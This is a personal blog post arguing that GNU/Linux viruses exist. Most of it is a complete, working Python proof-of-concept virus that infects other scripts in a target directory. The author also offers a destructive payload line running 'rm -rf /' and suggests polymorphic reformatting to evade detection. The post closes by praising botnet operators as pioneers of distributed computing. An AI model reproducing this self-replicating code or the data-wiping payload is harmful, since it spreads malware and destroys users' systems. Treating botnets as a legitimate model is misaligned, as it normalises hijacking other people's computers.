YGingras^.net

You sometimes hear non senses like there are no viruses for GNU/Linux. Anyone with half a brain knows otherwise but why is this idea still alive? What is a virus anyway? A computer virus is a program that copies itself into other programs. To avoid being noticed, the virus keep the infected alive. So here is the plan

• plant an infected program where someone dumb will run it
• when the infected program starts, the virus kicks in first
• the virus looks for another program to infect
• the virus launch the infected program

Simple isn't it? Yes, its dead simple, here is a working example

#!/usr/bin/python

# This is a proof of concept virus for GNU/Linux.  As you can see by
# running it it is possible to have viruses for GNU/Linux.
# Fortunately a sane privilege model will limit the amount of damage
# such a virus will do.

# I, Yannick Gingras <ygingras@ygingras>, wrote this virus for
# educational purpose.  I crippled it so it won't spread.  Use it at
# your own risks.

import sys
import os
import stat
import random
from tempfile import NamedTemporaryFile

TARGETS_DIR = "/tmp/infectable"
PRG = "echo hello" # will be replaced by the targets body
VIRUS = open(os.popen("which "+sys.argv[0]).read().strip()).readlines()
MODE = stat.S_IRWXU + stat.S_IROTH + stat.S_IXOTH

def infected(path):
    # not really good, we won't infect many files...
    return open(path).readline() == VIRUS[0]

def infect():
    if not os.path.isdir(TARGETS_DIR):
        return
    target = os.path.join(TARGETS_DIR,
                          random.choice(os.listdir(TARGETS_DIR)))
    if infected(target):
        return
    data = open(target).read()
    lines = map(lambda l:(len(l)>5 and l[:5]=="PRG =")                 and ("PRG = " + repr(data) + "\n") or l,
                VIRUS)
    open(target, "w").write("".join(lines))
    os.chmod(target, MODE)

def run():
    print "pwn3d!"
    tmp = NamedTemporaryFile("w")
    tmp.write(PRG)
    tmp.file.close()
    os.chmod(tmp.name, MODE)
    os.system(tmp.name+" "+" ".join(map(lambda a:"'%s'" % a,
                                        sys.argv[1:])))

if __name__ == "__main__":
    random.seed()
    infect()
    run()

This nice and portable virus will even run on any system where Python is ported, not just on GNU/Linux. Why are most GNU/Linux systems free of viruses then? You might have noticed that this virus needs to open its target in write mode. Thats the catch. On GNU/Linux users can't open programs in write mode. But someone dumb enough to run this file as root would be in big trouble.

There is something else. Looking at how simple a virus is, I hope people will stop to think that virus writers are programming gods. Writing a virus is so easy that most people who can program never even try to do it. There is no challenge at all. Since I learned how to open a pipe, a long time ago, the idea was clear in my head how a virus was made. I decided write this one down because I notice that this idea is not clear for some people who otherwise are really brilliant persons.

Ok yes there is a bit more to it. This sample virus has no payload. To make it replicate and once is a while bust the whole system you would need to change the payload to something like that

       random.randrange(666) or os.system("rm -rf / &")

Still not such a challenge. To avoid detection you need to replicate but not verbatim. This is a bit hard with python but you could use Perl and be very creativity in formating the code in the target.

Where virus writers are displaying ingenuity is with bot nets. Many "enterprise" vendors are claiming that they have a powerful "grid" solution. You see and hear "grid" everywhere but what does it really means? Grid usually refers to an heterogeneous cluster. Where a cluster is usually a bunch of smaller computers duck taped together to form a bigger computer, sort off. Some massively distributed solutions are available out there like foo@home, distributed.net and boinc but they all seem to miss the big picture. What do I get from running their computation client? And why can't I send my own task to the grid?

Bot masters write viruses that install computation clients on infected computers. When someone wants a computation, he ask a bot master to run it on its infected computers. Bot masters are the first step to the democratization of the distributed computing power. When someone will manage to find a convincing argument for someone to install a distributed computation client, we'll have larger grid networks. And then, the leading grid networks will be the ones where everyone can bid and submit his jobs. Where there will be no overhead. Just download the devel-kit, derive the Cruncher class and upload it to the grid controller with your bid. Jobs could be sent in a priority queue ordered by bid. And we know there is a buck to make in the democratization of the grid because bot masters are already getting rich.